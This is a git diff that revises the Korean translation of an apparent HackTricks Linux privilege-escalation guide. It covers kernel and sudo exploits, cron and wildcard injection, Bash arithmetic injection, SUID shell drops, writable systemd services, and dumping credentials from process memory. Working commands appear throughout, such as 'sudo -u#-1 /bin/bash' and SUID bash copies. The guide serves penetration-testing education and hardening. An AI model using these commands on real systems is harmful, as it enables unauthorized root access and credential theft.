diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index af4c04057..bb68a8a4f 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS 정보 -실행 중인 OS에 대한 정보를 수집해봅시다. +실행 중인 OS에 대한 정보를 알아보는 것부터 시작합시다 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -만약 **have write permissions on any folder inside the `PATH`** 라면 일부 라이브러리나 바이너리를 hijack할 수 있습니다: +만약 **`PATH` 변수 내의 어떤 폴더에 대해 쓰기 권한이 있다면** 일부 라이브러리나 바이너리를 hijack할 수 있습니다: ```bash echo $PATH ``` ### 환경 정보 -환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요? +환경 변수에 비밀번호나 API keys 같은 민감한 정보가 있나요? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -커널 버전을 확인하고 권한 상승에 사용할 수 있는 exploit이 있는지 확인하세요. +kernel version을 확인하고, escalate privileges에 사용할 수 있는 exploit이 있는지 확인하세요. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -여기에서 괜찮은 취약 커널 목록과 이미 **compiled exploits**를 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -다른 사이트들에서도 일부 **compiled exploits**를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +좋은 vulnerable kernel list와 몇몇 이미 **compiled exploits**를 다음에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +다른 사이트들에서도 몇몇 **compiled exploits**를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -해당 웹에서 모든 취약 커널 버전을 추출하려면 다음을 실행하세요: +해당 웹사이트에서 모든 vulnerable kernel versions를 추출하려면 다음을 수행하면 됩니다: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -45,7 +45,7 @@ kernel exploits를 검색하는 데 도움이 될 수 있는 도구는 다음과 [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim에서 실행, kernel 2.x용 exploits만 확인) -항상 **Google에서 kernel version을 검색하세요**, 해당 kernel version이 어떤 kernel exploit에 기재되어 있으면 그 exploit가 유효하다는 것을 확신할 수 있습니다. +항상 **Google에서 kernel 버전을 검색하세요**, 어쩌면 kernel 버전이 어떤 kernel exploit에 적혀 있을 수 있으니 그러면 해당 exploit가 유효한지 확신할 수 있습니다. ### CVE-2016-5195 (DirtyCow) @@ -59,27 +59,27 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo 버전 -다음에 나타나는 취약한 sudo 버전을 기반으로: +다음에 나타난 취약한 sudo 버전을 기반으로: ```bash searchsploit sudo ``` -다음 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다. +이 grep을 사용해 sudo 버전이 취약한지 확인할 수 있습니다. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 -작성자 @sickrov +작성자: @sickrov ``` sudo -u#-1 /bin/bash ``` ### Dmesg 서명 검증 실패 -이 vuln이 어떻게 악용될 수 있는지에 대한 **예시**는 **smasher2 box of HTB**를 확인하세요. +**smasher2 box of HTB**에서 이 vuln이 어떻게 악용될 수 있는지에 대한 **예시**를 확인하세요. ```bash dmesg 2>/dev/null | grep "signature" ``` -### 추가 system enumeration +### 추가 시스템 열거 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -만약 docker container 내부에 있다면 탈출을 시도할 수 있습니다: +docker container 안에 있다면 탈출을 시도해볼 수 있습니다: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Drives -무엇이 **마운트되어 있고 마운트 해제되어 있는지**, 어디에 있으며 왜 그런지 확인하세요. 만약 어떤 항목이 마운트 해제되어 있다면 이를 마운트해 개인 정보를 확인해보세요. +어떤 것이 **what is mounted and unmounted** 되어 있는지, 어디에 있고 그 이유는 무엇인지 확인하세요. 만약 어떤 것이 unmounted 상태라면 이를 mount해 개인 정보가 있는지 확인해보세요. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 유용한 소프트웨어 -유용한 binaries 열거 +유용한 바이너리 열거 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -또한 **컴파일러가 설치되어 있는지** 확인하세요. 일부 kernel exploit을 사용해야 할 경우 유용한데, 해당 exploit은 사용하는 머신(또는 유사한 머신)에서 compile하는 것이 권장됩니다. +또한 **컴파일러가 설치되어 있는지** 확인하세요. 일부 kernel exploit을 사용해야 하는 경우 유용하며, 실제로 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 취약한 소프트웨어 설치됨 -**설치된 패키지와 서비스의 버전**을 확인하세요. 예를 들어 오래된 Nagios 버전이 있어 권한 상승에 악용될 수 있습니다…\ -의심스러운 설치된 소프트웨어의 버전은 수동으로 확인하는 것이 권장됩니다. +설치된 패키지와 서비스의 **버전을 확인**하세요. 예를 들어 오래된 Nagios 버전이 있을 수 있으며, 이는 escalating privileges에 악용될 수 있습니다…\ +더 의심스러운 설치된 소프트웨어의 버전은 수동으로 확인하는 것이 권장됩니다. ```bash dpkg -l #Debian rpm -qa #Centos ``` -만약 머신에 SSH 접근 권한이 있다면, 머신에 설치된 오래되었거나 취약한 소프트웨어를 확인하기 위해 **openVAS**를 사용할 수도 있습니다. +만약 머신에 SSH 접근 권한이 있다면, 머신 내부에 설치된 구형 및 취약한 소프트웨어를 확인하기 위해 **openVAS**를 사용할 수 있다. -> [!NOTE] > _이 명령어들은 대부분 쓸모없는 정보가 많이 출력될 수 있으므로, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 검사해주는 OpenVAS와 같은 애플리케이션 사용을 권장합니다_ +> [!NOTE] > _이 명령들은 많은 정보를 보여주지만 대부분 쓸모없을 수 있으므로, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 검사해주는 OpenVAS와 같은 애플리케이션 사용을 권장한다_ ## 프로세스 -어떤 **프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 더 많은 권한**으로 실행되고 있지는 않은지 확인하세요 (예: tomcat이 root로 실행되는 경우?) +실행 중인 **프로세스가 무엇인지** 살펴보고, 어떤 프로세스가 **정상보다 더 많은 권한을 가지고 있는지** 확인하라 (예: root로 실행되는 tomcat?) ```bash ps aux ps -ef top -n 1 ``` -항상 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas**는 프로세스 명령줄에서 `--inspect` 파라미터를 확인하여 이를 탐지합니다.\ -또한 **프로세스 바이너리 권한**을 확인하세요. 누군가의 바이너리를 덮어쓸 수 있을지도 모릅니다. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +또한 **프로세스 바이너리에 대한 권한을 확인하세요**, 누군가의 바이너리를 덮어쓸 수 있을지도 모릅니다. -### 프로세스 모니터링 +### Process monitoring -프로세스를 모니터링하기 위해 [**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용할 수 있습니다. 이는 취약한 프로세스가 자주 실행되거나 특정 조건이 충족될 때 이를 식별하는 데 매우 유용할 수 있습니다. +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -### 프로세스 메모리 +### Process memory -일부 서버 서비스는 **메모리 내부에 자격 증명(credentials)을 평문으로 저장**합니다.\ -일반적으로 다른 사용자가 소유한 프로세스의 메모리를 읽으려면 **root privileges**가 필요하므로, 이는 보통 이미 root인 경우 추가 자격 증명을 찾는 데 더 유용합니다.\ -하지만 **일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다**는 점을 기억하세요. +Some services of a server save **credentials in clear text inside the memory**.\ +Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ +However, remember that **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> 요즘 대부분의 머신은 기본적으로 **ptrace를 허용하지 않습니다**, 즉 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없습니다. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: 같은 uid를 가지기만 하면 모든 프로세스를 디버그할 수 있습니다. 이것이 ptracing이 작동하던 전통적인 방식입니다. -> - **kernel.yama.ptrace_scope = 1**: 부모 프로세스만 디버그될 수 있습니다. -> - **kernel.yama.ptrace_scope = 2**: 관리자만 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다. -> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적될 수 없습니다. 이 값으로 설정되면 ptracing을 다시 활성화하려면 재부팅이 필요합니다. +> - **kernel.yama.ptrace_scope = 0**: 동일한 uid인 한 모든 프로세스를 디버그할 수 있습니다. 이는 ptrace가 전통적으로 동작하던 방식입니다. +> - **kernel.yama.ptrace_scope = 1**: 부모 프로세스만 디버그할 수 있습니다. +> - **kernel.yama.ptrace_scope = 2**: 관리자만 ptrace를 사용할 수 있으며, CAP_SYS_PTRACE 권한이 필요합니다. +> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 일단 설정되면 ptracing을 다시 활성화하려면 재부팅이 필요합니다. #### GDB -예를 들어 FTP 서비스의 메모리에 접근할 수 있다면 Heap을 얻어 그 안의 자격 증명을 검색할 수 있습니다. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지를 보여주며**; 또한 **각 매핑된 영역의 permissions**를 표시합니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출합니다**. **maps** 파일에서 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 이 정보를 사용해 **mem 파일을 seek하여 모든 읽을 수 있는 영역을 dump**하고 파일로 저장합니다. +주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되어 있는지를 보여주며**; 또한 **각 매핑된 영역의 권한을 보여줍니다**. 가상 파일인 **mem**는 **프로세스의 메모리 자체를 노출합니다**. **maps** 파일에서 어떤 **메모리 영역이 읽기 가능한지**와 그 오프셋을 알 수 있습니다. 이 정보를 사용해 **mem 파일을 시크(seek)하여 모든 읽기 가능한 영역을 덤프**해 파일로 저장합니다. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`은 시스템의 **물리적** 메모리에 대한 접근을 제공하며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ -일반적으로, `/dev/mem`은 **root**와 **kmem** 그룹만 읽을 수 있습니다. +`/dev/mem`는 시스템의 **물리적** 메모리에 대한 접근을 제공하며, 가상 메모리가 아니다. 커널의 가상 주소 공간에는 /dev/kmem을 사용하여 접근할 수 있다.\ +일반적으로, `/dev/mem`은 **root** 및 **kmem** 그룹만 읽을 수 있다. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### linux용 ProcDump -ProcDump는 Windows용 Sysinternals 도구 모음의 고전적인 ProcDump 도구를 Linux용으로 재구성한 것입니다. 다음에서 확인하세요: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump는 Windows용 Sysinternals 도구 모음에 있는 고전적인 ProcDump 도구를 Linux용으로 재구현한 것입니다. 다음에서 다운로드하세요: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,27 +270,27 @@ Press Ctrl-C to end monitoring without terminating the process. - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_수동으로 root 요구사항을 제거하고 자신이 소유한 프로세스를 덤프할 수 있습니다 -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root가 필요합니다) +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root 필요함) ### 프로세스 메모리에서 자격 증명 #### 수동 예시 -authenticator 프로세스가 실행 중인 것을 발견하면: +authenticator 프로세스가 실행 중이면: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -프로세스를 dump할 수 있고(프로세스의 memory를 dump하는 다양한 방법은 앞 섹션을 참조하세요) 메모리 내에서 credentials를 검색할 수 있습니다: +프로세스의 메모리를 덤프할 수 있고(앞 섹션을 참조하여 프로세스의 메모리를 덤프하는 다양한 방법을 확인하세요) 메모리에서 자격 증명을 검색할 수 있습니다: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -이 도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)는 메모리와 일부 **well known files**에서 **clear text credentials**를 훔칩니다. 정상적으로 작동하려면 root 권한이 필요합니다. +이 도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)는 **메모리에서 평문 자격 증명**과 일부 **잘 알려진 파일들**에서 탈취합니다. 정상적으로 작동하려면 root 권한이 필요합니다. -| Feature | Process Name | +| 기능 | 프로세스 이름 | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -315,16 +315,16 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## 예약된/Cron 작업 -### Crontab UI (alseambusher)가 root로 실행되는 경우 – 웹 기반 스케줄러 privesc +### Crontab UI (alseambusher)이 root로 실행되는 경우 – 웹 기반 스케줄러 privesc -웹 “Crontab UI” 패널(alseambusher/crontab-ui)이 root로 실행되고 loopback에만 바인딩되어 있어도, SSH local port-forwarding을 통해 접근해 권한 상승을 위한 privileged job을 생성할 수 있습니다. +웹 "Crontab UI" 패널(alseambusher/crontab-ui)이 root로 실행되고 loopback에만 바인딩되어 있다면, SSH 로컬 포트 포워딩을 통해 여전히 접근하여 privileged job을 생성해 privesc할 수 있습니다. -일반적인 흐름 -- 루프백 전용 포트(예: 127.0.0.1:8000)와 Basic-Auth realm을 `ss -ntlp` / `curl -v localhost:8000`로 찾음 -- 운영 아티팩트에서 자격 증명 찾기: - - 백업/스크립트에서 (`zip -P `) - - systemd 유닛에서 노출된 `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- 터널링 후 로그인: +Typical chain +- loopback 전용 포트(예: 127.0.0.1:8000)와 Basic-Auth realm을 `ss -ntlp` / `curl -v localhost:8000`로 확인 +- 운영 아티팩트에서 자격증명 찾기: +- 백업/스크립트에서 `zip -P ` +- systemd unit에 노출된 `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- 터널링하고 로그인: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate @@ -335,44 +335,46 @@ ssh -L 9001:localhost:8000 user@target # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- 사용하세요: +- 사용하기: ```bash /tmp/rootshell -p # root shell ``` -보안 강화 +하드닝 - Crontab UI를 root로 실행하지 마세요; 전용 사용자와 최소 권한으로 제한하세요 -- localhost에 바인딩하고 추가로 firewall/VPN으로 접근을 제한하세요; 비밀번호를 재사용하지 마세요 -- unit files에 secrets를 포함하지 마세요; secret stores 또는 root-only EnvironmentFile을 사용하세요 -- on-demand job executions에 대한 audit/logging을 활성화하세요 +- localhost에 바인딩하고 추가로 firewall/VPN을 통해 접근을 제한하세요; 비밀번호를 재사용하지 마세요 +- unit files에 비밀을 포함하지 마세요; secret stores나 root 전용 EnvironmentFile을 사용하세요 +- 온디맨드 작업 실행에 대해 audit/logging을 활성화하세요 -예약된 작업(scheduled job)이 취약한지 확인하세요. 루트(root)에 의해 실행되는 스크립트를 악용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있나? symlinks 사용? root가 사용하는 디렉터리에 특정 파일을 생성?). + + +예약된 작업 중 취약한 것이 있는지 확인하세요. 아마 root가 실행하는 스크립트를 이용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있는가? symlinks 사용? root가 사용하는 디렉터리에 특정 파일을 생성?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron 경로 +### Cron path -예를 들어, _/etc/crontab_ 안에서 다음과 같은 PATH를 찾을 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +예를 들어, _/etc/crontab_ 안에서 다음과 같은 PATH를 확인할 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_user 사용자가 /home/user에 쓰기 권한이 있다는 점에 주의하세요_) +(_"user"라는 사용자가 /home/user에 쓰기 권한이 있는 것에 주목하세요_) -이 crontab에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 한다면, 예를 들어: _\* \* \* \* root overwrite.sh_\ -그러면 다음을 사용해 root shell을 얻을 수 있습니다: +만약 이 crontab 안에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려 한다면. 예를 들어: _\* \* \* \* root overwrite.sh_\ +그러면 다음을 사용하여 root shell을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron: 와일드카드가 포함된 스크립트를 사용하는 경우 (Wildcard Injection) +### Cron이 wildcard가 있는 script를 사용하는 경우 (Wildcard Injection) -스크립트가 root에 의해 실행되고 명령어 안에 “**\***”가 포함되어 있다면, 이를 악용해 예상치 못한 동작(예: privesc)을 유발할 수 있습니다. 예: +root에 의해 실행되는 script의 명령에 “**\***”이 포함되어 있다면, 이를 악용하여 예상치 못한 동작(예: privesc)을 일으킬 수 있습니다. 예: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**와일드카드가 다음과 같은 경로 앞에 있는 경우** _**/some/path/\***_ **취약하지 않습니다 (심지어** _**./\***_ **도 취약하지 않습니다).** +**If the wildcard is preceded of a path like** _**/some/path/***_*_, it's not vulnerable (even** _**./***_ **is not).** -다음 페이지를 읽어 더 많은 wildcard exploitation 트릭을 확인하세요: +다음 페이지를 참고하면 더 많은 wildcard exploitation 트릭을 확인할 수 있습니다: {{#ref}} @@ -382,11 +384,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash는 ((...)), $((...)) 및 let 내에서 산술 평가 전에 parameter expansion과 command substitution을 수행합니다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 이를 산술 컨텍스트에 넣는다면, 공격자는 $(...) 형태의 command substitution을 주입하여 cron이 실행될 때 root로 실행되게 할 수 있습니다. +Bash는 ((...)), $((...)) 및 let에서의 arithmetic 평가보다 앞서 parameter expansion과 command substitution을 수행합니다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 이를 산술 컨텍스트에 넣는다면, 공격자는 cron이 실행될 때 root로 실행되는 command substitution $(...)을 주입할 수 있습니다. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- 동작 원리: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. 따라서 `$(/bin/bash -c 'id > /tmp/pwn')0` 같은 값은 먼저 치환되어(명령이 실행됨), 그 뒤 남은 숫자 `0`이 산술에 사용되어 스크립트가 오류 없이 계속 진행됩니다. -- Typical vulnerable pattern: +- 일반적인 취약 패턴: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -396,7 +398,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: 파싱되는 로그에 attacker-controlled 텍스트를 기록하여 숫자처럼 보이는 필드에 command substitution을 포함시키고 끝이 숫자가 되게 하세요. 명령이 stdout으로 출력하지 않도록 하거나(또는 리다이렉트) 해야 산술이 유효하게 유지됩니다. +- 악용 방법: 파싱되는 로그에 공격자가 제어하는 텍스트를 기록하게 하여 숫자처럼 보이는 필드에 command substitution이 포함되고 마지막에 숫자가 오게 만드세요. 산술이 유효하려면 명령이 stdout으로 출력하지 않도록(또는 리다이렉트) 하세요. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -405,29 +407,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -만약 당신이 root로 실행되는 cron script를 **수정할 수 있다면**, 매우 쉽게 shell을 얻을 수 있습니다: +만약 root에 의해 실행되는 **cron 스크립트를 수정할 수 있다면**, 아주 쉽게 쉘을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root에 의해 실행되는 script가 **directory where you have full access**를 사용한다면, 해당 folder를 삭제하고 당신이 제어하는 script를 제공하는 다른 폴더로 **create a symlink folder to another one** 하는 것이 유용할 수 있습니다. +root에 의해 실행되는 script가 당신이 full access를 가진 directory를 사용한다면, 해당 folder를 삭제하고 당신이 제어하는 script가 있는 다른 곳을 가리키는 symlink folder를 만드는 것이 유용할 수 있다. ```bash ln -d -s ``` -### 자주 실행되는 cron 작업 +### 자주 실행되는 cron jobs -프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 이용해 권한을 상승시킬 수도 있습니다. +프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾아볼 수 있습니다. 이를 이용해 권한을 상승시킬 수도 있습니다. -예를 들어, **1분 동안 0.1초마다 모니터링**, **실행 횟수가 적은 명령 순으로 정렬**하고 가장 많이 실행된 명령을 삭제하려면 다음과 같이 할 수 있습니다: +예를 들어, **1분 동안 0.1초 간격으로 모니터링**, **실행 횟수가 적은 명령으로 정렬**하고 가장 많이 실행된 명령을 삭제하려면 다음과 같이 할 수 있습니다: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**또한 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). +**다음도 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이 도구는 시작되는 모든 프로세스를 모니터링하고 나열합니다). ### 숨겨진 cron jobs -cronjob을 생성할 때 **주석 뒤에 carriage return을 넣는 것** (without newline character)처럼 하면 cron job이 작동합니다. 예제 (참고: carriage return char): +주석 뒤에 **carriage return을 넣는 것**(개행 문자 없이)으로 cronjob을 생성할 수 있으며, cron job은 작동합니다. 예시(캐리지 리턴 char를 주의하세요): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -435,12 +437,12 @@ cronjob을 생성할 때 **주석 뒤에 carriage return을 넣는 것** (withou ### 쓰기 가능한 _.service_ 파일 -어떤 `.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 해당 파일을 **수정하여** 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 당신의 **backdoor를 실행**하도록 만들 수 있습니다 (머신을 재부팅해야 할 수도 있습니다).\ -예를 들어, .service 파일 안에 당신의 backdoor를 생성하고 **`ExecStart=/tmp/script.sh`**로 지정하세요 +작성 가능한 `.service` 파일이 있는지 확인하세요. 가능하다면, 해당 파일을 **수정할 수 있으며** 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 당신의 **backdoor가 실행되도록** 만들 수 있습니다(머신을 재부팅해야 할 수도 있습니다).\ +예를 들어 .service 파일 안에 당신의 backdoor를 **`ExecStart=/tmp/script.sh`** 로 생성하세요 ### 쓰기 가능한 서비스 바이너리 -서비스에 의해 실행되는 바이너리에 대한 **쓰기 권한이 있는 경우**, 이를 변경해 backdoors를 심을 수 있으며, 서비스가 다시 실행될 때 backdoors가 실행됩니다. +서비스에 의해 실행되는 바이너리에 대해 **쓰기 권한이 있는 경우**, 이를 변경해 backdoors를 심을 수 있으며 서비스가 재실행될 때 backdoors가 실행됩니다. ### systemd PATH - 상대 경로 @@ -448,38 +450,40 @@ cronjob을 생성할 때 **주석 뒤에 carriage return을 넣는 것** (withou ```bash systemctl show-environment ``` -경로의 폴더 중 어느 곳에 **write**할 수 있다면 **escalate privileges**할 수 있습니다. 다음과 같은 파일들에서 **relative paths being used on service configurations**을 찾아야 합니다: +경로의 폴더들 중 어느 곳에든 **write** 할 수 있다는 것을 발견하면 **escalate privileges** 할 수 있을지도 모릅니다. 다음과 같은 서비스 구성 파일에서 **relative paths being used on service configurations** 를 찾아야 합니다: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -그런 다음, 작성 가능한 systemd PATH 폴더 안에 relative path binary와 같은 이름의 **executable**을 만들고, 서비스가 취약한 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청되면 당신의 **backdoor**가 실행됩니다 (권한 없는 사용자는 보통 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하세요). +그런 다음, 쓰기가 가능한 systemd PATH 폴더 안에 상대 경로 바이너리와 **같은 이름의** **executable**을 생성하세요. 서비스가 취약한 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청되면 당신의 **backdoor가 실행**됩니다(권한이 없는 사용자는 보통 서비스를 시작/중지할 수 없지만 `sudo -l`로 확인해 보세요). -**서비스에 대해 더 알아보려면 `man systemd.service`를 참고하세요.** +**`man systemd.service`로 services에 대해 더 알아보세요.** -## **타이머** +## **Timers** -**타이머**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 